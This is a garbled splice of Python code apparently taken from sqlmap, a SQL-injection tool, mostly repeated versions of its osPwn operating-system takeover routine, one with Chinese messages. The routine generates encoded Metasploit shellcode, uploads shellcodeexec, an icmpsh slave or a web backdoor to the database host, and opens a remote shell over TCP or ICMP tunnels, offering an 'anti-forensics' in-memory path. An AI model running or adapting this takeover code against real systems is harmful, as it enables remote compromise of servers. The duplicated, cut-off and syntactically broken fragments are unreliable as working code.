def _createTargetDirs():
"""
Create the output directory.
"""
conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH),
normalizeUnicode(getUnicode(conf.hostname)))
try:
if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath)
except (OSError, IOError, TypeError) as ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
except Exception as _:
errMsg = "unable to write to the temporary directory ('%s'). " % _
errMsg += "Please make sure that your disk is not full and "
errMsg += "that you have sufficient write permissions to "
errMsg += "create temporary files and/or directories"
raise SqlmapSystemException(errMsg)
warnMsg = "unable to create output directory "
warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(
tempDir)
logger.warn(warnMsg)
conf.outputPath = tempDir
conf.outputPath = getUnicode(conf.outputPath)
try:
with openFile(os.path.join(conf.outputPath, "target.txt"), "w+") as f:
f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
f.write(" (%s)" %
(HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
f.write(" # %s" % getUnicode(subprocess.list2cmdline(sys.argv),
encoding=sys.stdin.encoding))
if conf.data:
f.write("\n\n%s" % getUnicode(conf.data))
except IOError as ex:
if "denied" in getUnicode(ex):
errMsg = "you don't have enough permissions "
else:
errMsg = "something went wrong while trying "
errMsg += "to write to the output directory '%s' (%s)" % (
paths.SQLMAP_OUTPUT_PATH, getSafeExString(ex))
raise SqlmapMissingPrivileges(errMsg)
_createDumpDir()
_createFilesDir()
_configureDumper()
with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+",
UNICODE_ENCODING) as f:
f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
f.write(" (%s)" %
(HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
if conf.data:
f.write("\n\n%s" % conf.data)
except IOError, ex:
if "denied" in str(ex):
errMsg = "you don't have enough permissions "
else:
errMsg = "something went wrong while trying "
errMsg += "to write to the output directory '%s' (%s)" % (
paths.SQLMAP_OUTPUT_PATH, ex)
raise SqlmapMissingPrivileges(errMsg)
_createDumpDir()
_createFilesDir()
_configureDumper()
def _restoreMergedOptions():
"""
Restore merged options (command line, configuration file and default values)
that could be possibly changed during the testing of previous target.
"""
for option in RESTORE_MERGED_OPTIONS:
conf[option] = mergedOptions[option]
def osPwn(self):
goUdf = False
fallbackToWeb = False
setupSuccess = False
self.checkDbmsOs()
if Backend.isOs(OS.WINDOWS):
msg = "how do you want to establish the tunnel?"
msg += "\n[1] TCP: Metasploit Framework (default)"
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
while True:
tunnel = readInput(msg, default='1')
if tunnel.isdigit() and int(tunnel) in (1, 2):
tunnel = int(tunnel)
break
else:
warnMsg = "invalid value, valid values are '1' and '2'"
logger.warn(warnMsg)
else:
tunnel = 1
debugMsg = "the tunnel can be established only via TCP when "
debugMsg += "the back-end DBMS is not Windows"
logger.debug(debugMsg)
if tunnel == 2:
isAdmin = runningAsAdmin()
if not isAdmin:
errMsg = "you need to run sqlmap as an administrator "
errMsg += "if you want to establish an out-of-band ICMP "
errMsg += "tunnel because icmpsh uses raw sockets to "
errMsg += "sniff and craft ICMP packets"
raise SqlmapMissingPrivileges(errMsg)
try:
__import__("impacket")
except ImportError:
errMsg = "sqlmap requires 'python-impacket' third-party library "
errMsg += "in order to run icmpsh master. You can get it at "
errMsg += "http://code.google.com/p/impacket/downloads/list"
raise SqlmapMissingDependence(errMsg)
filename = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
if os.path.exists(filename):
try:
with open(filename, "wb") as f:
f.write("1")
except IOError, ex:
errMsg = "there has been a file opening/writing error "
errMsg += "for filename '%s' ('%s')" % (
filename, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
else:
errMsg = "you need to disable ICMP replies by your machine "
errMsg += "system-wide. For example run on Linux/Unix:\n"
errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
errMsg += "If you miss doing that, you will receive "
errMsg += "information from the database server and it "
errMsg += "is unlikely to receive commands sent from you"
logger.error(errMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.sysUdfs.pop("sys_bineval")
def osPwn(self):
goUdf = False
fallbackToWeb = False
setupSuccess = False
self.checkDbmsOs()
if Backend.isOs(OS.WINDOWS):
msg = "how do you want to establish the tunnel?"
msg += "\n[1] TCP: Metasploit Framework (default)"
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
valids = (1, 2)
while True:
tunnel = readInput(msg, default=1)
if isinstance(tunnel, basestring) and tunnel.isdigit() and int(
tunnel) in valids:
tunnel = int(tunnel)
break
elif isinstance(tunnel, int) and tunnel in valids:
break
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
else:
tunnel = 1
debugMsg = "the tunnel can be established only via TCP when "
debugMsg += "the back-end DBMS is not Windows"
logger.debug(debugMsg)
if tunnel == 2:
isAdmin = runningAsAdmin()
if not isAdmin:
errMsg = "you need to run sqlmap as an administrator "
errMsg += "if you want to establish an out-of-band ICMP "
errMsg += "tunnel because icmpsh uses raw sockets to "
errMsg += "sniff and craft ICMP packets"
raise SqlmapMissingPrivileges(errMsg)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
errMsg = "sqlmap requires 'python-impacket' third-party library "
errMsg += "in order to run icmpsh master. You can get it at "
errMsg += "http://code.google.com/p/impacket/downloads/list"
raise SqlmapMissingDependence(errMsg)
sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
if os.path.exists(sysIgnoreIcmp):
fp = open(sysIgnoreIcmp, "wb")
fp.write("1")
fp.close()
else:
errMsg = "you need to disable ICMP replies by your machine "
errMsg += "system-wide. For example run on Linux/Unix:\n"
errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
errMsg += "If you miss doing that, you will receive "
errMsg += "information from the database server and it "
errMsg += "is unlikely to receive commands sent from you"
logger.error(errMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.sysUdfs.pop("sys_bineval")
self.getRemoteTempPath()
if isStackingAvailable() or conf.direct:
web = False
self.initEnv(web=web)
if tunnel == 1:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"
while True:
choice = readInput(msg, default=1)
if isinstance(choice, basestring) and choice.isdigit(
) and int(choice) in (1, 2):
choice = int(choice)
break
elif isinstance(choice, int) and choice in (1, 2):
break
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
if choice == 1:
goUdf = True
if goUdf:
exitfunc = "thread"
setupSuccess = True
else:
exitfunc = "process"
self.createMsfShellcode(exitfunc=exitfunc,
format="raw",
extra="BufferRegister=EAX",
encode="x86/alpha_mixed")
if not goUdf:
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
DBMS.MYSQL) and conf.privEsc:
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if not setupSuccess and Backend.isDbms(
DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
or fallbackToWeb):
web = True
if fallbackToWeb:
infoMsg = "falling back to web backdoor to establish the tunnel"
else:
infoMsg = "going to use a web backdoor to establish the tunnel"
logger.info(infoMsg)
self.initEnv(web=web, forceInit=fallbackToWeb)
if self.webBackdoorUrl:
if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
# Unset --priv-esc if the back-end DBMS underlying operating
# system is not Windows
conf.privEsc = False
warnMsg = "sqlmap does not implement any operating system "
warnMsg += "user privilege escalation technique when the "
warnMsg += "back-end DBMS underlying system is not Windows"
logger.warn(warnMsg)
if tunnel == 1:
self.createMsfShellcode(exitfunc="process",
format="raw",
extra="BufferRegister=EAX",
encode="x86/alpha_mixed")
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if setupSuccess:
if tunnel == 1:
self.pwn(goUdf)
elif tunnel == 2:
self.icmpPwn()
else:
errMsg = "unable to prompt for an out-of-band session"
raise SqlmapNotVulnerableException(errMsg)
if not conf.cleanup:
self.cleanup(web=web)
def osPwn(self):
goUdf = False
fallbackToWeb = False
setupSuccess = False
self.checkDbmsOs()
if Backend.isOs(OS.WINDOWS):
msg = "你想如何建立隧道？?"
msg += "\n[1] TCP: Metasploit Framework (default)"
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
while True:
tunnel = readInput(msg, default='1')
if tunnel.isdigit() and int(tunnel) in (1, 2):
tunnel = int(tunnel)
break
else:
warnMsg = "无效值，有效值为'1'和'2'"
logger.warn(warnMsg)
else:
tunnel = 1
debugMsg = "当后端DBMS不是Windows时，隧道只能通过TCP建立"
logger.debug(debugMsg)
if tunnel == 2:
isAdmin = runningAsAdmin()
if not isAdmin:
errMsg = "如果要建立带外ICMP隧道，则需要以管理员身份运行sqlmap，因为icmpsh使用原始套接字来嗅探和制作ICMP数据包"
raise SqlmapMissingPrivileges(errMsg)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
errMsg = "sqlmap需要“python-impacket”第三方库才能运行icmpsh master。"
errMsg += "您可以访问http://code.google.com/p/impacket/downloads/list"
raise SqlmapMissingDependence(errMsg)
sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
if os.path.exists(sysIgnoreIcmp):
fp = open(sysIgnoreIcmp, "wb")
fp.write("1")
fp.close()
else:
errMsg = "您需要在整个系统范围内禁用ICMP回复 "
errMsg += "例如在Linux/Unix上运行:\n"
errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
errMsg += "如果您错过了这么做，您将收到来自数据库服务器的信息，而不会收到您发送的命令的回应。"
logger.error(errMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.sysUdfs.pop("sys_bineval")
self.getRemoteTempPath()
if isStackingAvailable() or conf.direct:
web = False
self.initEnv(web=web)
if tunnel == 1:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
msg = "您打算如何在底层操作系统的底层数据库上执行Metasploit shellcode？"
msg += "\n[1] 通过UDF 'sys_bineval' (内存方式，反取证，默认)"
msg += "\n[2] 通过shellcodeexec(文件系统方式，首选64位系统)"
while True:
choice = readInput(msg, default='1')
if choice.isdigit() and int(choice) in (1, 2):
choice = int(choice)
break
else:
warnMsg = "无效值，有效值为1和2"
logger.warn(warnMsg)
if choice == 1:
goUdf = True
if goUdf:
exitfunc = "thread"
setupSuccess = True
else:
exitfunc = "process"
self.createMsfShellcode(exitfunc=exitfunc,
format="raw",
extra="BufferRegister=EAX",
encode="x86/alpha_mixed")
if not goUdf:
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "无法挂载操作系统接管"
raise SqlmapFilePathException(msg)
if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
DBMS.MYSQL) and conf.privEsc:
debugMsg = "默认情况下，MySQL在Windows上运行为SYSTEM用户，不需要权限升级"
logger.debug(debugMsg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "无法挂载操作系统接管"
raise SqlmapFilePathException(msg)
if not setupSuccess and Backend.isDbms(
DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
or fallbackToWeb):
web = True
if fallbackToWeb:
infoMsg = "falling back to web backdoor to establish the tunnel"
else:
infoMsg = "要使用web后门建立隧道"
logger.info(infoMsg)
self.initEnv(web=web, forceInit=fallbackToWeb)
if self.webBackdoorUrl:
if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
#Unset --priv-esc如果后端DBMS底层操作系统不是Windows
conf.privEsc = False
warnMsg = "当后台DBMS底层系统不是Windows时，sqlmap不实现任何操作系统用户权限升级技术"
logger.warn(warnMsg)
if tunnel == 1:
self.createMsfShellcode(exitfunc="process",
format="raw",
extra="BufferRegister=EAX",
encode="x86/alpha_mixed")
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
msg = "无法挂载操作系统接管"
raise SqlmapFilePathException(msg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
msg = "无法挂载操作系统接管"
raise SqlmapFilePathException(msg)
if setupSuccess:
if tunnel == 1:
self.pwn(goUdf)
elif tunnel == 2:
self.icmpPwn()
else:
errMsg = "unable to prompt for an out-of-band session"
raise SqlmapNotVulnerableException(errMsg)
if not conf.cleanup:
self.cleanup(web=web)